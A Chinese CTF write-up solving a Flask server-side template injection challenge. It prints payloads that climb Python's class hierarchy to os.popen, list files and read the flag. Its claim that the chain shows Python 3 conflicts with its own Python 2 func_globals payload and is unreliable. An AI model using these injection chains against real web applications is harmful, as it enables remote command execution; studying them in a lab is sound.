打开靶机后页面有一段文字

python template injection

翻译过来是python模板注入

寻找注入点

随便写点东西

发现页面会直接返回我们输入的数据

那就说明注入点就在”/“后面

测试注入点

注入{{7*7}}

发现能够成功返回结果

查找模板类型

注入{{config}}

发现成功返回上下文配置

说明这是Flask框架

Flask框架默认有一个config对象,里面会包含全局的配置

测试基类

注入{{''.__class__.__mro__[2]}}

发现成功返回,并且知道这里用的是python3

python2的.__mro__方法只有两个,python3有三个

获取子类

注入{{''.__class__.__mro__[2].__subclasses__()}}

在返回的子类中寻找warnings.catch_warnings类

这里我写了一个脚本对其进行了格式化并且添加了索引

发现在第59行

利用os类执行命令寻找flag

注入

''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()

列出当前目录下的文件

发现有一个长得很像flag的fl4g文件

.__init__
访问对象的构造函数/初始化方法
.func_globals (Python 2) / .__globals__ (Python 3)
作用:获取函数的全局命名空间字典
Python 2中使用func_globals
Python 3中已改为__globals__
 .linecache
作用:从全局命名空间中获取linecache模块
 .os
作用:获取os模块的引用

获取fl4g文件

注入

''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat fl4g').read()

成功找到lfag

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐